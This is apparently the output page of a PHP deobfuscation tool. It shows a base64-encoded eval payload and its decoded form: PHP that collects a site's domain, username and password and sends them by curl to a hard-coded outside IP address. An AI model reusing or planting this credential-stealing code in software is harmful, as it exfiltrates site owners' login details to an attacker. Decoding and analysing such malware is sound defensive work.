Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $eval_data="JHVybHBhcnRzID0gcGFyc2VfdXJsKGhvbWVfdXJsKCkpOwogICAgICAgI..
Decoded Output download
$urlparts = parse_url(home_url());
$domain = $urlparts['host'];
$credentials = array('domain' => $domain, 'username' => $username, 'password' => $password);
$check = "http://142.93.105.127/contentstudio/" . '?' . http_build_query($credentials);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $check);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
Did this file decode correctly?
Original Code
<?php
$eval_data="JHVybHBhcnRzID0gcGFyc2VfdXJsKGhvbWVfdXJsKCkpOwogICAgICAgICRkb21haW4gPSAkdXJscGFydHNbJ2hvc3QnXTsKICAgICAgICAkY3JlZGVudGlhbHMgPSBhcnJheSgnZG9tYWluJyA9PiAkZG9tYWluLCAndXNlcm5hbWUnID0+ICR1c2VybmFtZSwgJ3Bhc3N3b3JkJyA9PiAkcGFzc3dvcmQpOwogICAgICAgICRjaGVjayA9ICJodHRwOi8vMTQyLjkzLjEwNS4xMjcvY29udGVudHN0dWRpby8iIC4gJz8nIC4gaHR0cF9idWlsZF9xdWVyeSgkY3JlZGVudGlhbHMpOwogICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRjaGVjayk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7";
eval(base64_decode($eval_data));
Function Calls
base64_decode | 1 |
Stats
MD5 | d69bf02748a75c3c4cdbcf1ca1aab1c7 |
Eval Count | 1 |
Decode Time | 59 ms |